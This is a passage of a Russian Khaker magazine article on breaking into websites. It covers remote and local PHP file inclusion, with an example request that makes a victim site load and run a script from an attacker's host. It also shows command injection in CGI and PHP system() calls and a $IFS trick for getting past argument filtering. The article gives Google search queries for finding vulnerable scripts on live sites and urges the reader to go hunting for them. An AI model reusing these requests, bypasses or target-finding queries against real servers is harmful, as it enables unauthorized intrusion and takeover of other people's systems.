Отыщи и выполни! Докучаев Дмитрий aka Forb Спецвыпуск: Хакер, номер #047, стр. 047-042-3 Листинг <?php # ... include $my_include . '.php'; # ... ?> В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу http://urugwayhost/data.php (правда, для этого необходимо, чтобы у PHP директива allow_url_fopen была включена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр "my_include" и присваивает ему значение URL своего скрипта (без ".php" на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом: Листинг http://victim/view.php?my_include=http://urugwayhost/data&cmd=ls. В случае если админ запретил открытие ссылок в fopen(), можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу (например, /tmp/data). Оттянись по полной! «Ну и где найти все это добро?» - спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида "filetype:php file=". В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина «болеет» include-багом. Если хочется найти CGI-скрипт с ошибкой в open(), можно использовать конструкцию "filetype:cgi html" или "filetype:pl html. В ответ мы получим массу сценариев с расширением .cgi или .pl соответственно, подключающих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов. В заключение замечу, что взлом через WWW – дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но начинать надо с поиска простых ошибок – багов в open(), fopen(), system() и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное прибавится само собой. Не больше одного слова! Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос вида http://victim.com/bug.cgi?file=uname$IFS-a способен обойти жесткую проверку. По умолчанию, директива allow_url_fopen разрешена. Это означает, что функция fopen() способна подгрузить любой удаленный скрипт. В PHP также можно произвести атаку на system(). Для этого необходимо поставить “;” по краям переменной, а саму переменную представить в виде команды. Если в сишном коде программиста заботит явление переполнения буфера, то Web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию. Ничто не мешает хакеру залить эксплоит через Web, получить рутовые права и насильно отключить фаервол. |